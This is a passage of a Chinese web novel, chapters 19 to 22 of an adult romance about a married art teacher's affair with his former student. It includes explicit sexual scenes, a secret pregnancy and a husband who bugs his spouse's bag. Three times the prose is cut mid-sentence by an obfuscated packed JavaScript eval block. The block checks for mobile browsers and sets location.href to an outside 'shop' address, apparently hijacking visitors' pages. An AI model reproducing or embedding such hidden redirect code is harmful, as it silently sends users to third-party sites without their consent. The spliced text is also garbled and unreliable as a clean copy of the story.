谢念慈吻住了他,吻得又凶又重,咬他的嘴唇,甚至咬出了血。他要直起身子,谢念慈就只能踮起脚,一踮起脚,没站稳,直接摔在了他的怀里,捧着他的脸,亲得很认真。不知道是不是蒋淳的错觉,他发觉谢念慈身体很烫,舌头和嘴唇更是明显,含着谢念慈的舌头,像是含了一块滚烫的年糕。 “蒋淳……”他听见谢念慈叫他的名字。 勉强分开些许,蒋淳舔了一下嘴唇,血腥味极重,嘴唇上的伤口还不小,不过不是什么大事,过一会儿自己就能结痂,反倒是谢念慈,嘴唇上沾了血,血痕被抹匀了,像是被亲开的口红。 谢念慈一边放包,一边问:“说吧,你还有哪些事没告诉我。”放好了包,他开始脱外套,里面是一件雪纺衬衫和一条阔腿裤。 蒋淳别开眼睛,轻咳一声:“我做完结扎手术了。” “……还有呢?” “我辞职了。” 话音刚落,一个东西直奔蒋淳而来,啪的一下,飞到了他的脸上,带着谢念慈常用护肤品的香气。那东西很柔软,香气扑鼻,甚至还有一点湿意,体温犹在,蒋淳把它拿下来,发现是一条淡紫色的丝质内裤。 19.第 19 章 “你愣着干什么?” 谢念慈浑身上下只剩一件衬衫,堪堪遮住大腿根。他的眼眶湿润泛红,一眨也不眨盯着蒋淳,胸脯起伏不定。 蒋淳说:“没有,我只是在想……”他用鼻尖蹭了蹭手里的丝质内裤,触感极佳,脑海不可避免地浮现出谢念慈穿过的各种贴身衣物。大多是这种没什么装饰的真丝或者纯棉内裤,偶尔会穿一些很糟糕的款式,比如某次的镂空低腰蕾丝…… “老师把内裤送给我,晚上要怎么回家?” 谢念慈只觉这人是越发不要脸了,红着脸上前要抢回自己的内裤,一边抢一边说:“别岔开话题!你什么时候结扎的?又为什么辞职?” 蒋淳手一转,飞速将那条内裤塞进了口袋。他伸长另一只手臂,揽住谢念慈的腰,把人结结实实扛了起来,口中道:“别急嘛,我一样一样和老师说。” 谢念慈被他扛在肩膀上,正准备再凶一点,可紧接着就是一阵天旋地转,他被丢在了床上,蒋淳欺身而上,扣住他的手腕,低下头,亲了亲他的嘴唇。 一股血腥味。 “是不是有点发烧了?”蒋淳一边说,一边用额头贴着他的额头,两个人呼吸相交。 谢念慈吐出的气都是滚烫的,额头的温度也有点高了。蒋淳又摸了摸他的脖子和肚子,轻声说:“先量一下体温吧,我带了旅行用的药箱。” “不许去!”谢念慈一把拉住男人,“把事情说清楚了!你什么时候结扎的?是前几天你发烧的那段时间吗?其实不是生病了,是刚做完手术?” 蒋淳只好抱着他说:“嗯,差不多吧。” 谢念慈没有马上说话,而是往他怀里缩了缩,手轻轻抚上他的小腹。一定是发烧了,不然为何手心这么烫?蒋淳只觉被谢念慈摸过的地方都在燃烧,他刚想要制止,却听见身下的人说:“是不是很疼?” 蒋淳说:“打了麻药。” 谢念慈扣住他牛仔裤上的皮带,鼻音浓重说:“我看看伤口。” 到底有什么好看的? 术后第二天就愈合了。 蒋淳和这位不注重私生活的教育工作者谈条件:“老师先量体温,然后吃药,等退烧了再看行不行?” 谢念慈三下五除二就把他的皮带解了。 “发着烧不好吗?”谢念慈轻声说,“要比平时更加温暖和湿润哦。” 蒋淳低着头与谢念慈对视,看见谢念慈水汽氤氲的眼睛、因低烧而绯红的脸颊,理智和欲望在疯狂交战。 “老师,我去拿药箱。” 理智勉强占了上风,他起身要去拿药箱,谁料谢念慈比他的动作更快,一个翻身,直接坐上了他的胸膛,将他死死压在身下。 “那你至少帮我……”谢念慈哭着说。 怎么拒绝? 完全没办法。 蒋淳举手投降。 毫无疑问,蒋淳要被闷得喘不过气,鼻间全是谢念慈身上那股若有若无的玫瑰香水味。 “咳……” 大概蒋淳咳得撕心裂肺,谢念慈立马从男人的脸上起身,趴下来把人抱进自己的怀里,满怀歉意说:“……是不是呛到你了?” 蒋淳刚喘过一口气,又被揽进谢念慈的胸怀之中,胸口紧贴着他的脸,那股馥郁的香味更浓了,差点没被闷死。 他稍稍推开谢念慈,抬起头,看着那双有些不知所措的眼睛,衬衫被扯掉了大半,两颊通红,实在是……恶趣味一下子上来了。 谢念慈被他舔得……等一下,不是他来骂蒋淳的吗…… 或许是因为发着低烧,谢念慈耳鸣得厉害,头皮发麻,整个人短暂失去了片刻的意识,等稍稍缓和过来,他发觉蒋淳在往他嘴里塞什么东西,应该是药。他的嘴唇动了一下,没能吞下胶囊,过了一会儿,蒋淳的嘴唇贴了上来,把胶囊用舌头和水喂给了他。 这下轮到他呛到了,一边呛一边掉眼泪。 “蒋淳……”他说,“我是不是在发烧?” 蒋淳说:“是,烧得估计有点厉害。” 他又问:“你打算什么时候回国?” “三四天后。” “你辞职了……找到新工作了吗?” “朱耀群收了我的简历。” “……为什么要辞职?” 蒋淳犹豫了一下,说:“我不能控制自己,在画室看见老师,就会忍不住亲近,总有一天会连累到老师的。” 床上的谢念慈翻了一个身,衬衫松松垮垮搭在身上,他抬起手臂,遮住了大半张脸,只露出下半张脸,说:“蒋淳,你太着急了……其实没必要结扎……” 蒋淳正在给他量体温,三十八度五,脸烧得绯红,问:“为什么?” 谢念慈从床上撑起半个身子,晕乎乎说:“因为我……我也想给你生一个小孩……你会是一个好爸爸的……” 蒋淳差点把手里的温度计摔了。 “这是不可能的。”蒋淳神色严肃,弯下腰,捧住谢念慈的脸,“谢念慈,你明白这意味着什么吗?你要和那个人离婚吗?” 离婚…… 谢念慈头疼,脑子一时没转过弯,只是很委屈地说:“我就是这个样子,喜欢谁就想和他结婚生小孩,你是不是觉得我又笨又恋爱脑,但我就是很喜欢,很……反正他妈妈天天催我再生一个,和他生也是小孩,和你生也是小孩,有什么区别吗?我都是妈妈……” 离婚。 “离婚的话……”谢念慈渐渐冷静了下来,他有些颓唐地坐在床上,眼睛里闪过一丝迷茫,“我不知道……” 蒋淳俯下身,从牛仔裤口袋里抽出那条内裤,亲了亲谢念慈的额头,说:“先不想这个了,把衣服穿好,睡一觉,晚上说不定就退烧了。” 说着,捏住谢念慈的脚踝,正准备给人套上内裤,谁料这人挣扎了起来,无理取闹说:“送给你了!” 蒋淳挑眉:“真的吗?” 谢念慈直起身,环住蒋淳的脖子,亲了亲脸,然后松开手,当着蒋淳的面……小声说:“做一次吧,我真的好想你,身体很热……你一定会很舒服的……” 蒋淳别开眼睛。 “结扎了是不是可以不用戴了……” 不行。 必须好好惩罚一下。 不然不长记性。 …… …… 好在有一层窗帘,不过并非布艺窗帘,而是纱质窗帘,谢念慈的羞耻心涌上来了,一个劲摇头,哭泣说:“我错了,蒋淳……蒋淳……请不要这个样子……” 蒋淳轻轻扯起他后脑勺的头发,长发的一个好处是很方便抓头发,不算用力,只是将谢念慈扯得微微仰起了下巴。蒋淳凑上前,一边亲啄谢念慈的唇,一边说:“要不要把窗帘拉开?让大家都来看看老师……” 谢念慈根本没听清楚他在说什么,直接昏了过去。 蒋淳顿时停下了动作。 他也顾不得自己还没纾解,把人赶紧抱回了床上,盖好被子,毛巾泡冷水,给人敷在额头上,又喂了一些水,等到了傍晚,才勉强退烧。 谢念慈睡觉的时候不太老实,很喜欢往他怀里钻,又因发烧,睡一下就要翻动身子。蒋淳没干其他的事,只是和人躺在一起,偶尔会听到谢念慈包里的手机在响。 是谁? 不重要。 他和谢念慈之间从未提起过“离婚”这个词,毕竟对于一个养尊处优的豪门太太来说,离婚的代价太大,但他们能当一辈子的地下情人吗?至于谢念慈说的生小孩……他全然当做谢念慈烧糊涂了,又不是古代,狸猫换太子的事一个基因检测就能破除。 日落之后,蓝调时刻降临了,整个房间笼罩在一层幽蓝中,谢念慈迷迷糊糊醒过来,看见床头橘黄色的小灯,以及蒋淳半明半暗的侧脸。 “几点了?”他问。 烧退了,手脚冰凉。 蒋淳说:“晚上七点多了。” 谢念慈长舒一口气,对他抱歉笑笑:“我今晚不能留在这里,还是要回家的,明天早上见吧,你有什么安排吗?” 蒋淳亲他的额头,说:“想去多伦多的几个美术馆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢念慈睡了一觉,感冒好了个七七八八,只是还有一点头晕。他原本打算开昨天的那一辆阿斯顿马丁DB12,心思一转,换了一辆淡粉色的小跑车,心比跑车还要早一步到达CN塔下的某咖啡馆。 而在他的身后,一辆纯黑的奔驰不远不近跟在后面。 蒋淳早就到了咖啡馆,隔着窗户和他打招呼,穿着白T恤深蓝牛仔裤。即便是异国他乡,似乎只要见到蒋淳,谢念慈就会很安心。 “早上好。” 蒋淳笑说。 “身体好点了吗?” 谢念慈哼了一声:“没有,气得一夜没睡着,怎么有个人莫名其妙出现在我的面前啊,还说了一大堆胡话,气死我了。” 蒋淳说:“胡话不是我说的吧?” 谢念慈看着他,忽然眯起眼睛,不怀好意地说:“你今天不能说话,一个字也不行,刚刚已经犯规了。” 蒋淳立马闭上嘴,做了一个拉拉链的动作。 谢念慈觉得这个样子的男人很好玩,对着人勾了勾手,说:“把脸过来。” 蒋淳就把脸凑了过去。 谢念慈笑了一声,手指挖了一点咖啡的装饰奶油,狠狠抹上蒋淳的脸颊。 蒋淳叹了一口气。 两个人不在闹了,就着今日行程交谈,谢念慈指着地图问要不要去这个地方,蒋淳要么点头要么摇头,当真是一个字也不说。 锵锵—— 桌子被人敲响了。 谢念慈抬起头,顿时脸色一变。 “宝宝,这位是……” 林承望西装革履站在他的面前,脸上是标准的微笑,而目光却缓缓平移,移动到他旁边的蒋淳身上。 “林总好。”蒋淳起身,对男人伸出一只手。 “我是谢老师的学生,之前见过,林总不记得了吗?” 20.第 20 章 十七岁的生日,林承望过得并不快乐。 从小到大,他的生日会基本是父母的社交场合,各界精英荟萃,而他必须要成为一个体面、礼貌、优秀的孩子,对着那群大人们微笑。 青春期难免叛逆,这一年的生日他不干了,一下课就躲进音乐教室,打算弹一会儿钢琴,等父母找得不耐烦了,再闪亮登场,把大人们吓一大跳。相当幼稚的报复,他自己也很清楚,但他就是要这么干。 那天下午的阳光堪称灿烂,透过音乐教室巨大的落地窗,原木装修的教室里浮动着细小的灰尘。林承望把包一甩,挽起袖子准备练琴,忽然余光一瞥,看见了坐在最后一排的那个人。那个年纪的那个人有一头柔顺的黑发,因为是国际高中,不怎么管发型,他留了堪堪遮住耳朵的头发,正咬着铅笔头,对着手里的速写本发呆。 林承望不知道自己站了多久,大概有一个世纪那么漫长吧。他视力很好,看见那个学生的脸庞散发着一圈柔美的光,脖子纤细素白,左鬓还别了一个蓝色的细长发夹,竟然完全没发现他的身影,一昧对着自己的本子写写画画。 如果这是偶像剧,想必就是所谓的“爱情降临的那一瞬间”,要配上煽情的bgm,他要与那个人久久对视,然后相知相爱,不离不弃,直到手牵手走入婚姻的殿堂,在亲友的祝福之下,happy end。 确实如此。 林承望的人生比偶像剧男主还要一帆风顺。 但现实生活不会停在婚礼的那一天,不会停在谢念慈穿着洁白婚纱、挽着姥爷的手向他走来的那一刻,也不会停在他们深情拥吻的那一秒。 日子继续过下去。 激情散尽,只剩下日复一日的消磨。 谢念慈开的那辆小跑车上有追踪器,偏偏避开了暗藏监听器的那支爱O仕夜房子包,反手背了一个香槟色的香奶奶。他紧紧跟着谢念慈的小跑车,看着对方停在路边,衣摆轻扬,对着落地玻璃窗里的一个亚裔男人挥手。 有点眼熟。 一脸穷酸样的亚裔男人……他什么时候和这种货色的东西打过交道了?即便没有听到两个人在说什么,林承望还是满心烦躁。 互动有点太亲密了。 但林承望潜意识里完全看不起这个男人,他从不认为谢念慈会选择其他人,有钱、长相英俊、持久……还能找得出比他更好的男人吗? 直到谢念慈露出了一个笑容。 林承望一时恍惚,几乎梦回十七岁。 他再也按耐不住,一把拉开车门,冷笑着踏进咖啡馆,站在两个人的面前。 …… 林承望怎么会出现在这里? 谢念慈在看见丈夫的一瞬间,险些吓得跳起来。背后冷汗狂流,呼吸一瞬不畅,谢念慈看着丈夫,听见自己的心跳如雷。 他看见了吗? 看见了多少? 知道了吗? 又知道了多少? 思绪一瞬千回百转,在他还没有反应过来的时候,蒋淳率先站了起来,说:“林总您好,我是谢老师的学生,蒋淳,之前我们见过,您不记得了?” 不管怎么样,先咬死了正常的师生关系。 谢念慈扯了扯嘴角,勉强笑说:“上一次在B市庄园的那个宴会,小蒋和朱耀群一起来的,老公你应该还记得吧?” 林承望似乎想起来了,露出一个恍然的微笑,并未与蒋淳交握,只是垂眸看着谢念慈,与气淡淡道:“哦,宝宝在B美的那个学生?我记起来了。” 说罢,他终于高抬贵手,与蒋淳交握。 握得十分用力。 蒋淳眉头一跳,但依然面色不改,没有把手抽回。他说:“能被林总记住,是我的荣幸。” 林承望笑笑,松开了蒋淳,然后轻轻握住谢念慈搭在腿上的手,说:“你毕竟是我爱人的学生,总要记得清楚一点。” 不知是不是谢念慈的错觉,他总觉得林承望在咬牙切齿地说话。他强压下心头的慌乱,回握林承望的手,问:“老公,你怎么来了?” 林承望拍了拍他的手,说:“早上在附近有点事,恰好看见宝宝的车停在外面,又和我不熟悉的人聊得很开心,就想着过来看看……前几天的事,是我不对,不应该和宝宝冷战的……对了,没有打扰到你们吧?” 谢念慈心头咯噔一声,语速飞快说:“没有没有,小蒋来多伦多写生和旅游,正好我也在,就约着出来一起逛逛。” “哦?”林似笑非笑看向蒋淳,“一个人来玩啊?” 蒋淳也笑:“是,毕业了嘛,正好也攒了一点小钱,国内我都跑遍了,就想着出国看看,有位很喜欢的画家在多伦多有画展,又恰好过了签证,索性来看看。” 林承望点头:“毕业旅行也挺好的。们你待会打算去哪儿?” “安大略美术馆。”蒋淳说,“前天落地时给谢老师发了消息,没想到老师竟然有空,说可以带我转转,毕竟我人生地不熟嘛。” 林承望笑了笑。 谢念慈看不懂这个人在想什么,只觉得丈夫碍眼无比,他好端端的一天就被这么毁了……和蒋淳一起并肩走在安大略湖畔,想想就是很美好的时光。 “正好,我今天也有空。” 林承望微笑说。 “一起吧。” 谢念慈的美梦彻底破碎了。 林承望看着他,眼神温柔得不可思议:“宝宝,你不会介意吧?我好久没和你一起逛美术馆了。逛完美术馆,我们请小蒋一起吃顿饭,到底一个二十岁出头的年轻人,多伦多这几年治安也不算好……” 你不会在饭里下毒吧?! 谢念慈一瞬间想起无数大孝子毒杀奸夫□□的中式传统美德,吓得一生冷汗。他真想把这个烦人精轰出去,但也无法说出拒绝的话,事已至此,除了装作坦坦荡荡,他和蒋淳都别无选择。 蒋淳似乎接受到了谢念慈的求救信号,连忙说:“林总日理万机,这样劳烦您,会不会影响您的工作?” 林承望瞟了他一眼,好整以暇说:“陪老婆,影响不了工作,那么大一个公司,上万人维持着运作,少我几个小时也出不了什么差错。” 说罢,他牵起谢念慈的手,柔声说:“走吧,宝宝,今天老公陪你一起逛逛,顺便带小蒋一起。” 谢念慈眨了眨眼睛,轻声说:“好。” …… 一切都乱了套。 谢念慈不知道林承望哪里来的表现欲,一整天下来,尽职尽责当一个完美好丈夫。这个男人越是这样,他越是烦躁。 而蒋淳始终不远不近跟在他们身后,不怎么说话。他们离得并不远,不过几米的距离,却连对视也不敢,或者说谢念慈不敢看,而蒋淳却十分自然,甚至在林承望亲自追着冰淇淋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228358|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车跑的时候,偷偷勾了一下谢念慈的手。 安大略湖在阳光下波光粼粼,光斑在彼此的脸上徘徊,湖风吹过,谢念慈的头发被吹到了眼睛里,蒋淳抬手把它们别到耳后。 谢念慈小小声说:“太糟糕了。” 蒋淳笑笑:“你老公的表现欲太旺盛了。” 像公园里的猴子。 当然,他没当着谢念慈的面说出来,不止是猴子,还是打了马赛克的很有钱的猴子,在他面前上蹿下跳,拿着香蕉哇啦啦地示威,可见他的谢念慈还是太贤惠了,过去十几年恐怕没怎么让林承望吃过醋,一个不会吃醋的男人自然不懂得什么是有效的雄竞,只会用阶级来耀武扬威。 换作是他,不会直接登场,而是偷偷跟踪谢念慈一整天,针对陌生男人的行为模式仔细分析优劣,取其精华去其糟粕,把人捆床上玩个三天三夜,自然能把老婆抢回来了。 说到底自己还是小三思维。 看着远处的那一团马赛克,蒋淳轻轻牵住谢念慈的手,低声说:“老师,我明天就回国,最近……我们还是不要见面了。” 谢念慈的心缓缓下沉。 “社交软件也不要频繁使用。”蒋淳紧紧盯着马赛克的背影,生怕对方转过身,语速又快又急,“我会给你发邮件,一封一看就知道是我的邮件,老师想说什么,就给我发邮件,然后及时隐藏或者删除……” 谢念慈下意识握紧了蒋淳的手,一点也不想分开,他紧紧盯着丈夫的背影,真希望那辆冰淇淋车里伸出两只机械臂把林承望抓回家,于是这里只剩下他和蒋淳两个人…… 一切竟然在恢复常态。 蒋淳从那天起就消失了,他的生活再一次被丈夫儿子填满,与之一起恢复的,是他和林承望的夫妻生活。他在床上变得很沉默,不敢出声,怕自己情动时脱口而出的名字不是法定丈夫,而是蒋淳,被弄得近乎崩溃了,他才小小声叫几声老公。 老公老公,他爱谁谁就是老公,不被爱的才是小三,故而这个老公是最不算数的东西,林承望听了高兴,谢念慈喊得也高兴。 三天后,他的某个邮箱收到了一封邮件。 果真是一看就知道是蒋淳的邮件。 蒋淳套了一个某著名日用品有限公司的壳子,伪装成广告邮件发给谢念慈。那个日用品有限公司的沐浴露是谢念慈的挚爱,点开打折的链接,里面却是几张照片。 第一张是谢念慈的睡颜。 第二张是两个人在草原上的影子。 第三张是自己回到B市的机场照片。 最后还有一行字。 蒋淳写道:“一个完美的夏天,我想让我的一生都停留在这个夏天,但时间总会往前走。我不知道明天的你会是什么模样,也许依旧美丽,也许垂垂老矣,但我满怀期待,期待明天,期待下一个夏天,期待你的到来。谢念慈,我爱你。” 谢念慈关上手机,趴在桌上一动不动,只是偶尔肩膀颤抖几下,旋即又归于平静。忽然,他脸色微变,微微佝偻起背,手捂住嘴,小小声呕了一下。 吃坏了肚子吗? 还是一时情绪上涌? 如果谢念慈没有怀过孕,他也许不会当一回事,但他切切实实有过一个孩子,体会过孕吐的滋味。 他一瞬有些慌乱,猛地站起来,在床头柜胡乱翻找了一阵,终于找到了闲置已久的验孕棒。 21.第 21 章 一场秋雨一场凉,九月底的B市终于褪去了一个夏天的焦躁,变得温和干燥,路边高大的国槐簌簌而落。 谢念慈从多伦多回来之后,回校上课,照顾小鱼,偶尔和丈夫一起过周末,一切似乎归于平静,甚至他和林承望的关系也修复了。 如果那天的验孕棒不是两条杠的话。 他的子宫里正在孕育着一个新生命,按照孕吐反应的时间来算,到九月底,已经有两个多月了,按理说应该很折磨他,叫他想吐吐不出来,浑身无力,但这个孩子很听话,妊娠反应轻微,稍微遮掩一下,勉强能在骆秀面前混过去。 生活里没了蒋淳的身影,但又处处都是那个人。他还是习惯路过大画室的时候停下脚步,看一眼里面的学生,企图找到那个人的背影。越是见不到,记忆反而越发清晰,谢念慈有一次走在教学楼的楼梯上,心蓦地一动,恍惚之间记起了当年的匆匆一眼。他晚上开车回家,偶尔会绕到蒋淳的公寓楼下,抬头看着那扇窗户,有时候亮着,有时候漆黑一片,还有一天晚上,他看见阳台挂着他那条红色的吊带长裙。 生日那天,蒋淳给他拍的照片,他还压在办公桌的抽屉里,包括那张速写,已经干枯了的草原上的野花,他把它们塑封,试图永远保存。 有一种故事很烂,那就是主角千辛万苦觅得真爱,结果在最幸福的时候发觉是一场梦,第二天还要苦哈哈地早起上班当牛马,谢念慈都不懂这种故事拍来干什么,说是主角临死前的美梦都比这种结局好得多。他也很害怕这个夏天是自己的梦,所幸每天一睁眼,邮箱里都静静躺着某个人的邮件。 谢念慈像偷偷上课看小说的学生一样,躲在被窝里翻看邮件。这个蒋淳话很多,跟写日记没什么差别,甚至图文并茂,内容无非就是吃饭睡觉上班画画,顺带和他蛐蛐朱耀群。谢念慈也写邮件,晚上写,在林承望回家之前,写得比较简单,说得最多的是……身体不太舒服。 没有说自己怀孕的事。 他还没想好该怎么办。 国庆小长假前几日,黄瑞要陪老婆回湘省,提早请他吃饭,就两个人,在B美附近的一家网红私房菜。 吃到一半,黄瑞忽然神色复杂地看着他,问:“你和蒋淳怎么样了?” 他筷子一顿,随口说:“什么怎么样了?他不是辞职了吗?” 黄瑞满面愁容:“阿慈,我也不想忍了,这一个多月快把我憋出内伤了,你实话告诉我,你和蒋淳到底是不是……” 谢念慈没有说话,只专注吃碗里的鸡翅。 “其实你根本藏不住事。”黄瑞自顾自说下去,“我也不过撞见了几次,你看他的眼神很不对劲,大家都是成年人,有点别扭的欲望也是正常的,我也不是想说你什么,就是……想确认一下。不瞒你说,你去多伦多的时候,我找过他,然后他告诉我,他要辞职。” 谢念慈放下了筷子。 “是你逼他辞职的?!” 这话一出口,谢念慈就后悔了。 黄瑞露出一个苦笑:“不是……我只是想知道你们之间到底……” “对不起。”谢念慈用手捂住了脸,“我刚才太激动了。” 黄瑞说得没错,他一点儿也藏不住事,这些日子他过得一点也不好,肚子里有一个脆弱的生命,不能去见自己想见的人,怨气积郁在心,竞对着黄瑞发脾气…… “别哭啊。”黄瑞没招了,满脸焦躁,手指不停地反梳头发,“阿慈,我们认识那么多年了,你什么性格我一清二楚,之前还帮我追雅梦……我只想知道你过得开不开心……” 谢念慈哽咽说:“我不知道……开心不开心的,一结婚就全毁了。之前我说要找婚姻咨询师,没有在吓唬你,林承望半年没碰过我,动不动就找借口搪塞我,我还能怎么办?那几个月我真的好寂寞、好孤独,每天晚上都想哭,然后蒋淳出现了,他给我过生日,带我自驾游,我学美术,他也学美术,无话不谈,我觉得和他在一起特别轻松,都这样了,你觉得还不会发生点什么吗?” 黄瑞无言以对。 过了片刻,他叹一口气,问:“那你打算怎么办?离婚吗?还是继续保持地下恋?” 谢念慈摇头,犹豫了一会儿,说:“我不清楚……黄瑞,现在的事情很糟糕,林承望估计已经察觉了,而我……” 黄瑞心里猛地一跳。 谢念慈说:“我怀孕了。” 哐当一声,黄瑞差点从椅子上摔下去。一米八几的大男人,被吓得在椅子上直发抖,舌头打结,话都说不利索了:“怀怀怀……怀孕……阿慈,你不要开这种玩笑……是你老公的吧?是吧?” 谢念慈稍微平静了一点,目光湿润看着好友,摇头说:“不可能是林承望的,我推算了一下,只可能是蒋淳的孩子。” 黄瑞浑身僵硬,仰天哀嚎不止:“你不要再说了!我怕一会儿我被你吓死!”他瘫在椅子上,狠狠抹了一把脸,“那现在怎么办?阿慈,你要把这个孩子生下来吗?还是流产?如果你需要的话,我认识一个医生,或许能瞒着林家人帮你……” 谢念慈泪流满面:“不能流产……黄瑞,我想当这个孩子的妈妈……我真的不知道该怎么办了,林家那边,包括这个孩子,还有蒋淳……” 他眨去睫毛上的泪珠,轻声说:“也许我和林承望……只能离婚了。” …… “林总,G市那边的项目正在竞标,请您过目。” 林承望接过助理小夏手里的平板,翻了翻,目光忽然落在一个名为“林悦广场售楼中心艺术装置”的项目上,点进去,发现乙方的法人竟然是朱耀群。 他皱起眉,点了点平板,问:“这个项目怎么给了朱耀群?” 小夏说:“朱总这几年成立了一个艺术工作室,收了不少年轻的艺术家,这次的项目他那边给出的效果非常好,很符合我们的建筑风格。” 林承望一边听,一边点开参与设计的人员名单。入目的首先是设计图稿,据说想要做出垂吊的效果,用新材料吊起或大或小的画框,画框里是油画质地的林悦广场风貌,错落有致,给人一种拼图的错觉。 再往下一翻,一张熟悉的脸映入眼帘。 林承望气得险些把平板扔了。 他关上平板,冷冷说:“我上次让你找的私家侦探,你找到了吗?” 小夏犹豫说:“林总,国内的私家侦探只有一个用处,就是捉奸……您……您要捉奸吗?” 林承望的胸膛剧烈起伏,低斥了一句:“让你去找你就去找,少来这么多的废话!对了,这个项目能不能中途叫停?” 小夏轻咳一声:“恐怕……有点难。因为朱耀群那边的资质是完全合格的,走的法律也完全合规,如果我们中途强行叫停,很可能违法。” 林承望淡淡道:“能怎么违法?一个小小的装饰项目罢了。”似乎想到了什么,他打住话头,撑着下巴沉思片刻,“不,也许没必要……小夏,你帮我订这个周末的机票,去G市,朱耀群他们也在G市吧?就说……我对他们的项目很感兴趣,要去实地考察。” …… “小蒋啊,你这个周末来一趟G市,这边的项目出了点问题。” 蒋淳听着手机里朱耀群的声音,伸长手,从一旁的桌子上拿过一支铅笔,一边修改画布上的草稿,一边问:“出了什么问题?” “甲方那边有点挑剔,想提早测试一下色彩搭配,你准备准备,周五晚上的机票,我帮你订好了啊!” 莫名其妙。 蒋淳挂了电话。 不过都甲方了,不龟毛一点都让他不习惯,再说了这个项目又不怎么重要,售楼中心的艺术装置罢了,朱耀群想拿这个给他们练练手,等过几年林悦广场竣工,再去玩一票大的。 蒋淳并不会因为这是林家的项目就放弃,有钱不赚的人是王八蛋,再说了,要是一切顺利,以后林承望不仅要接受妻子出轨,还要接受自家重要项目是妻子的情人所负责,想想就很爽啊。蒋淳有时也会产生一点幼稚的报复心理,这一个多月见不到谢念慈,那条内裤快被他作践得不成样子了。 周五那日,他顺利落地G市。 G市也有一座绚烂的电视塔,夜景璀璨,十月初,气温久久不下三十度,街上的人都穿着短袖。蒋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232747|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淳一落地就连忙脱了外套,直奔酒店,临睡前,他照例写了一封邮件给谢念慈,说自己在G市,天气热得要死。 这一次谢念慈回得飞快。 “我也在G市。” “他周末有事情要去一趟港岛。” “蒋淳,我们见一面吧,有件事要告诉你。” …… 蒋淳按下电梯,靠在一旁,闭上了眼睛。 实在是有点过于巧合了。 他直觉不对劲,又说不出一个所以然。早上他去了一趟项目所在地,啥事也没有,一群人就在那儿掰扯预算,中午朱耀群做局请吃饭,不了了之。 吃完饭,他打车去谢念慈给他的地址。 谢念慈还好吗? 他只看过邮件里的几张照片,总感觉似乎是又瘦了,细仃仃的一截腕骨,穿着黑色的丝绸衬衫和米色风衣,对他比耶。 叮地一声,电梯到了。 走廊里光线昏暗,地上铺着厚地毯,他走了一大圈,才停在谢念慈给他发的房间号前,轻轻敲了几下门。 门被人打开了。 是谢念慈,脸色有些苍白,散着头发,穿着长及脚背的丝绸长裙,领口开得很大,缀着繁复的蕾丝花边。 “老师……好久不见。” 蒋淳轻轻抚摸谢念慈的脸。 谢念慈蹭了蹭男人的手心,一闭上眼睛,泪水汹涌而出。他倒进蒋淳的怀里,紧紧环住蒋淳的腰,肩膀一抖一抖,哭得很小声,但蒋淳能感受到胸口的布料全被泪水浸透了。 “蒋淳……”谢念慈轻声说,“我好想你。” 我好想你。 信号不太稳定,这四个字充斥着沙沙声,从林承望的手机当中钻出。他本应该到达了港岛,参与一场拍卖会,如今却坐在一辆加长黑色轿车的后座,面前坐着是一个对着电脑敲敲打打的青年。 “你查到了些什么?” 林承望拿起一旁的酒杯,喝了一口,面无表情询问对方。 青年挠挠头,说:“找到地方了,在G市X区的林悦酒店,那个老板……您现在就过去?” 林承望说:“不急,再听一听。” 青年尴尬一笑。 这个监听器非常小,早晨林承望出门的时候,抱了抱谢念慈,顺手把它放入了谢念慈的包,就是为了这一刻。 只能说谢念慈完全不具备反侦察意识,手机的数据也好,还是过去几个月的行踪,都在这几日被林承望连根拔起。看着那些暧昧、幼稚的聊天记录,以及监控中亲昵的画面,他一点都不生气,真的,没必要生气,他只是想知道为什么。 监听器太小了,收音效果不太好,偏偏那两个人说话的声音又小,根本听不清再说些什么,林承望皱了皱眉头,说:“开车。” “你最近还好吗?” “很好,天天给你发邮件,里面没有一件事是骗你的。” “蒋淳,你是不是瘦了?” “有吗?” “真的瘦了……把脸伸过来,让我看一看。” 紧接着,吧唧一声,亲了亲脸。 林承望冷笑一声。 原来谢念慈和狗男人说话的声线都是这样的吗?又甜又骚,还故意拖出一点尾音,黏糊糊的,听得真让人想狠狠揍狗小三一拳。 他戴上耳机,拉开车门向酒店走去。 青年连忙跟在他的身后。 林承望没想到谢念慈胆子那么大,竟然直接选了自己家旗下的连锁酒店和野男人偷腥,真是不怕被抓。 “叫你们经理出来。” 他对前台接待说。 前台一脸茫然:“先生,您要开房吗?” 林承望还算有耐心,但耳机另一头的人已经急不可耐了,脱衣服窸窸窣窣的动静,若有若无的亲吻声,还有某种黏腻的咕叽咕叽的水声,疯狂刺激着他的神经,额头上的青筋直跳。 “和你们经理说,林承望来了,赶紧出来,我有话和他说!”林承望重重敲了两下桌子,“老子的老婆在你们酒店出轨,赶紧告诉我在哪一间房!” 他听见谢念慈在喘息。 22.第 22 章 